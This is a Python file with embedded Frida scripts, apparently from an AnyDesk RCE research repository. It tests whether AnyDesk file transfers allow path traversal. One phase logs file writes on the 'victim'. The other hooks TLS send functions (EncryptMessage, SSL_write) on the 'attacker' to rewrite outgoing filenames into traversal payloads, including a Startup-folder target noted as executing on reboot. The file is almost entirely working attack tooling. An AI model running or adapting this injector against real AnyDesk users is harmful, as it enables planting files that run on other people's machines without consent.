Files
anydeskrce-something/tools/03_traversal.py
T
2026-08-27 11:22:37 -06:00

496 lines
19 KiB
Python

"""
AnyDesk File Transfer Path Traversal Tester
Hooks the receiving side's file write operations and tests if AnyDesk
sanitizes filenames from the sender. Also hooks the sending side to
inject traversal paths into outgoing file transfer data.
PHASE 1: Run on VICTIM (receiving side) - monitors where files get written
PHASE 2: Run on ATTACKER (sending side) - injects traversal paths into protocol
Usage:
python 03_traversal.py --phase monitor (run on victim, then transfer a file)
python 03_traversal.py --phase inject (run on attacker, then transfer a file)
"""
import frida
import sys
import os
import json
import time
import argparse
from datetime import datetime
# ============================================================
# Phase 1: Monitor Agent — runs on the RECEIVING (victim) side
# Logs every file creation to see where AnyDesk writes files
# ============================================================
MONITOR_AGENT = r"""
'use strict';
const watchPaths = [];
let fileOps = [];
// Hook CreateFileW to see ALL file creations
const CreateFileW = Module.findExportByName('kernel32.dll', 'CreateFileW');
const CreateDirectoryW = Module.findExportByName('kernel32.dll', 'CreateDirectoryW');
const MoveFileW = Module.findExportByName('kernel32.dll', 'MoveFileW');
const MoveFileExW = Module.findExportByName('kernel32.dll', 'MoveFileExW');
const CopyFileW = Module.findExportByName('kernel32.dll', 'CopyFileW');
// Filter noise: only log paths that might be user files or interesting
function isInteresting(path) {
if (!path) return false;
const p = path.toLowerCase();
// Skip system noise
if (p.includes('\\device\\')) return false;
if (p.includes('\\pipe\\')) return false;
if (p.includes('\\windows\\system32\\')) return false;
if (p.includes('\\windows\\syswow64\\')) return false;
if (p.includes('\\appdata\\local\\temp\\') && p.includes('anydesk')) return true; // AnyDesk temp files are interesting
if (p.includes('anydesk')) return true;
// User profile paths
if (p.includes('\\users\\')) return true;
if (p.includes('\\desktop\\')) return true;
if (p.includes('\\downloads\\')) return true;
if (p.includes('\\documents\\')) return true;
if (p.includes('\\startup\\')) return true;
// Traversal indicators
if (p.includes('..')) return true;
return false;
}
function checkTraversal(path) {
const flags = [];
if (path.includes('..\\')) flags.push('BACKSLASH_TRAVERSAL');
if (path.includes('../')) flags.push('FORWARDSLASH_TRAVERSAL');
if (path.includes('..%5c')) flags.push('ENCODED_TRAVERSAL');
if (path.includes('..%2f')) flags.push('ENCODED_TRAVERSAL');
if (path.toLowerCase().includes('startup')) flags.push('STARTUP_FOLDER');
if (path.toLowerCase().includes('start menu')) flags.push('START_MENU');
return flags;
}
if (CreateFileW) {
Interceptor.attach(CreateFileW, {
onEnter(args) {
const path = args[0].readUtf16String();
if (isInteresting(path)) {
const traversalFlags = checkTraversal(path);
const access = args[1].toInt32();
const disposition = args[4].toInt32();
// GENERIC_WRITE or CREATE_ALWAYS/CREATE_NEW/OPEN_ALWAYS
const isWrite = (access & 0x40000000) !== 0 ||
(access & 0x00000002) !== 0; // FILE_WRITE_DATA
const isCreate = disposition === 1 || disposition === 2 ||
disposition === 4; // CREATE_NEW, CREATE_ALWAYS, OPEN_ALWAYS
const op = {
type: 'CreateFileW',
path: path,
isWrite: isWrite,
isCreate: isCreate,
access: '0x' + (access >>> 0).toString(16),
disposition: disposition,
traversalFlags: traversalFlags,
timestamp: Date.now(),
stack: Thread.backtrace(this.context, Backtracer.ACCURATE)
.map(DebugSymbol.fromAddress).join('\n')
};
send({type: 'file_op', data: op});
if (traversalFlags.length > 0) {
send({type: 'alert', msg: `TRAVERSAL DETECTED: ${path}`, flags: traversalFlags});
}
if (isWrite && isCreate) {
send({type: 'file_create', path: path, traversalFlags: traversalFlags});
}
}
}
});
}
if (MoveFileW) {
Interceptor.attach(MoveFileW, {
onEnter(args) {
const src = args[0].readUtf16String();
const dst = args[1].readUtf16String();
send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()});
}
});
}
if (MoveFileExW) {
Interceptor.attach(MoveFileExW, {
onEnter(args) {
const src = args[0].readUtf16String();
const dst = args[1].readUtf16String();
send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()});
}
});
}
if (CopyFileW) {
Interceptor.attach(CopyFileW, {
onEnter(args) {
const src = args[0].readUtf16String();
const dst = args[1].readUtf16String();
send({type: 'file_copy', src: src, dst: dst, timestamp: Date.now()});
}
});
}
if (CreateDirectoryW) {
Interceptor.attach(CreateDirectoryW, {
onEnter(args) {
const path = args[0].readUtf16String();
if (isInteresting(path)) {
send({type: 'dir_create', path: path, timestamp: Date.now()});
}
}
});
}
send({type: 'status', msg: 'File monitor active. Transfer a file via AnyDesk now...'});
send({type: 'ready'});
""";
# ============================================================
# Phase 2: Inject Agent — runs on the SENDING (attacker) side
# Hooks TLS send to find and replace filenames with traversal paths
# ============================================================
INJECT_AGENT = r"""
'use strict';
const TRAVERSAL_PAYLOADS = %PAYLOADS%;
let currentPayloadIdx = 0;
let injectionCount = 0;
// The filename we're looking for (set by Python controller)
const TARGET_FILENAME = '%TARGET_FILENAME%';
const TARGET_FILENAME_WIDE = '%TARGET_FILENAME%'; // Will search for both UTF-8 and UTF-16
function findAndReplace(buf, searchStr, replaceStr) {
const arr = new Uint8Array(buf);
// Search for UTF-8 string
const searchBytes = [];
for (let i = 0; i < searchStr.length; i++) {
searchBytes.push(searchStr.charCodeAt(i));
}
// Search for UTF-16LE string
const searchBytesWide = [];
for (let i = 0; i < searchStr.length; i++) {
searchBytesWide.push(searchStr.charCodeAt(i));
searchBytesWide.push(0);
}
let found = false;
// Try UTF-8
for (let i = 0; i <= arr.length - searchBytes.length; i++) {
let match = true;
for (let j = 0; j < searchBytes.length; j++) {
if (arr[i + j] !== searchBytes[j]) { match = false; break; }
}
if (match) {
send({type: 'injection', encoding: 'UTF-8', offset: i,
original: searchStr, replacement: replaceStr});
// Replace with traversal payload (UTF-8)
const replaceBytes = [];
for (let k = 0; k < replaceStr.length; k++) {
replaceBytes.push(replaceStr.charCodeAt(k));
}
// Pad with nulls if replacement is shorter
for (let k = 0; k < searchBytes.length; k++) {
arr[i + k] = k < replaceBytes.length ? replaceBytes[k] : 0;
}
found = true;
break;
}
}
// Try UTF-16LE
if (!found) {
for (let i = 0; i <= arr.length - searchBytesWide.length; i++) {
let match = true;
for (let j = 0; j < searchBytesWide.length; j++) {
if (arr[i + j] !== searchBytesWide[j]) { match = false; break; }
}
if (match) {
send({type: 'injection', encoding: 'UTF-16LE', offset: i,
original: searchStr, replacement: replaceStr});
// Replace with traversal payload (UTF-16LE)
const replaceBytesWide = [];
for (let k = 0; k < replaceStr.length; k++) {
replaceBytesWide.push(replaceStr.charCodeAt(k));
replaceBytesWide.push(0);
}
for (let k = 0; k < searchBytesWide.length; k++) {
arr[i + k] = k < replaceBytesWide.length ? replaceBytesWide[k] : 0;
}
found = true;
break;
}
}
}
return found;
}
// Hook EncryptMessage (SChannel) — modify data BEFORE encryption
const EncryptMessage = Module.findExportByName('sspicli.dll', 'EncryptMessage') ||
Module.findExportByName('secur32.dll', 'EncryptMessage');
if (EncryptMessage) {
Interceptor.attach(EncryptMessage, {
onEnter(args) {
const pBufDesc = args[2];
try {
const cBuffers = pBufDesc.add(4).readU32();
const pBuffers = pBufDesc.add(8).readPointer();
for (let i = 0; i < cBuffers; i++) {
const bufPtr = pBuffers.add(i * 16);
const cbBuffer = bufPtr.readU32();
const bufType = bufPtr.add(4).readU32();
const pvBuffer = bufPtr.add(8).readPointer();
if (bufType === 1 && cbBuffer > 0 && cbBuffer < 1024 * 1024) {
const data = pvBuffer.readByteArray(cbBuffer);
const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length];
if (findAndReplace(data, TARGET_FILENAME, payload)) {
pvBuffer.writeByteArray(data);
injectionCount++;
currentPayloadIdx++;
send({type: 'injected', count: injectionCount, payload: payload});
}
}
}
} catch(e) {}
}
});
send({type: 'status', msg: 'Hooked EncryptMessage for injection (SChannel)'});
}
// Also try OpenSSL hooks
const mods = Process.enumerateModules();
for (const m of mods) {
if (m.name.toLowerCase().includes('ssl') || m.name.toLowerCase().includes('crypto')) {
try {
const exports = m.enumerateExports();
for (const exp of exports) {
if (exp.name === 'SSL_write') {
Interceptor.attach(exp.address, {
onEnter(args) {
const buf = args[1];
const len = args[2].toInt32();
if (len > 0 && len < 1024 * 1024) {
const data = buf.readByteArray(len);
const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length];
if (findAndReplace(data, TARGET_FILENAME, payload)) {
buf.writeByteArray(data);
injectionCount++;
currentPayloadIdx++;
send({type: 'injected', count: injectionCount, payload: payload});
}
}
}
});
send({type: 'status', msg: `Hooked ${exp.name} for injection (OpenSSL)`});
}
}
} catch(e) {}
}
}
send({type: 'status', msg: `Injection armed. Target filename: "${TARGET_FILENAME}"`});
send({type: 'status', msg: `${TRAVERSAL_PAYLOADS.length} traversal payloads loaded. Send a file transfer now...`});
send({type: 'ready'});
""";
# Traversal payloads to test
TRAVERSAL_PAYLOADS = [
# Basic backslash traversal
"..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test.txt",
# Forward slash
"../../../../Users/Public/Desktop/traversal_test2.txt",
# Mixed separators
"..\\..\\..\\..\\Users/Public/Desktop/traversal_test3.txt",
# Startup folder (would execute on reboot)
"..\\..\\..\\..\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.txt",
# Double encoding
"..%5c..%5c..%5c..%5cUsers%5cPublic%5cDesktop%5ctraversal_test4.txt",
# Unicode fullwidth backslash (U+FF3C)
"..\uff3c..\uff3c..\uff3c..\uff3cUsers\uff3cPublic\uff3cDesktop\uff3ctraversal_test5.txt",
# Null byte truncation
"..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test6.txt\x00ignored.png",
# Long path
"..\\..\\..\\..\\..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_deep.txt",
# UNC path
"\\\\localhost\\C$\\Users\\Public\\Desktop\\traversal_unc.txt",
# Dot-dot with extra dots
"...\\...\\...\\Users\\Public\\Desktop\\traversal_dots.txt",
]
def on_message_monitor(message, data):
if message['type'] == 'send':
payload = message['payload']
msg_type = payload.get('type', '')
if msg_type == 'status':
print(f" [*] {payload['msg']}")
elif msg_type == 'ready':
on_message_monitor.ready = True
elif msg_type == 'file_op':
d = payload['data']
marker = ''
if d['isWrite'] and d['isCreate']:
marker = ' [WRITE+CREATE]'
if d['traversalFlags']:
marker += f' [!!!TRAVERSAL: {",".join(d["traversalFlags"])}!!!]'
print(f" [FILE] {d['type']}: {d['path']}{marker}")
if d.get('stack'):
# Show first 3 frames
frames = d['stack'].split('\n')[:3]
for f in frames:
print(f" {f}")
elif msg_type == 'file_create':
flags = payload.get('traversalFlags', [])
marker = f' [!!!{"·".join(flags)}!!!]' if flags else ''
print(f" [+FILE CREATED] {payload['path']}{marker}")
elif msg_type == 'file_move':
print(f" [MOVE] {payload['src']} -> {payload['dst']}")
elif msg_type == 'file_copy':
print(f" [COPY] {payload['src']} -> {payload['dst']}")
elif msg_type == 'dir_create':
print(f" [MKDIR] {payload['path']}")
elif msg_type == 'alert':
print(f"\n {'!'*60}")
print(f" [!!!] ALERT: {payload['msg']}")
print(f" [!!!] Flags: {payload['flags']}")
print(f" {'!'*60}\n")
elif message['type'] == 'error':
print(f" [!] ERROR: {message['description']}")
on_message_monitor.ready = False
def on_message_inject(message, data):
if message['type'] == 'send':
payload = message['payload']
msg_type = payload.get('type', '')
if msg_type == 'status':
print(f" [*] {payload['msg']}")
elif msg_type == 'ready':
on_message_inject.ready = True
elif msg_type == 'injection':
print(f" [FOUND] Filename at offset {payload['offset']} ({payload['encoding']})")
print(f" Original: {payload['original']}")
print(f" Replacement: {payload['replacement']}")
elif msg_type == 'injected':
print(f" [INJECTED #{payload['count']}] {payload['payload']}")
elif message['type'] == 'error':
print(f" [!] ERROR: {message['description']}")
on_message_inject.ready = False
def find_anydesk_pid():
import subprocess
try:
output = subprocess.check_output(
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
text=True, stderr=subprocess.DEVNULL
)
for line in output.strip().split('\n'):
if 'AnyDesk' in line:
parts = line.strip().strip('"').split('","')
if len(parts) >= 2:
return int(parts[1].strip('"'))
except:
pass
return None
def main():
parser = argparse.ArgumentParser(description='AnyDesk File Transfer Path Traversal Tester')
parser.add_argument('--phase', choices=['monitor', 'inject'], required=True,
help='monitor=watch file writes on victim, inject=modify filenames on attacker')
parser.add_argument('--filename', default='traversal_probe.txt',
help='Filename to search for and replace (for inject phase)')
args = parser.parse_args()
print("=" * 60)
print(f" AnyDesk Path Traversal Tester — Phase: {args.phase.upper()}")
print("=" * 60)
pid = find_anydesk_pid()
if not pid:
print("[!] AnyDesk.exe not found.")
sys.exit(1)
print(f"[+] Found AnyDesk.exe (PID: {pid})")
try:
session = frida.attach(pid)
except Exception as e:
print(f"[!] Frida attach failed: {e}")
print("[!] Run as Administrator.")
sys.exit(1)
if args.phase == 'monitor':
print("[+] Monitoring file operations...")
print("[+] Transfer a file via AnyDesk to this machine to see where it lands")
script = session.create_script(MONITOR_AGENT, runtime='v8')
script.on('message', on_message_monitor)
script.load()
for _ in range(100):
if on_message_monitor.ready:
break
time.sleep(0.1)
print(f"\n{'=' * 60}")
print(" MONITORING — send a file to this AnyDesk instance now")
print(" Press Ctrl+C to stop")
print(f"{'=' * 60}\n")
elif args.phase == 'inject':
print(f"[+] Injection mode — target filename: '{args.filename}'")
print(f"[+] Create a file named '{args.filename}' and transfer it via AnyDesk")
payloads_json = json.dumps(TRAVERSAL_PAYLOADS)
agent_code = INJECT_AGENT.replace('%PAYLOADS%', payloads_json)
agent_code = agent_code.replace('%TARGET_FILENAME%', args.filename)
script = session.create_script(agent_code, runtime='v8')
script.on('message', on_message_inject)
script.load()
for _ in range(100):
if on_message_inject.ready:
break
time.sleep(0.1)
print(f"\n{'=' * 60}")
print(f" INJECTION ARMED — send '{args.filename}' via AnyDesk file transfer")
print(" Press Ctrl+C to stop")
print(f"{'=' * 60}\n")
try:
while True:
time.sleep(0.1)
except KeyboardInterrupt:
print("\n[+] Stopped.")
session.detach()
if __name__ == '__main__':
main()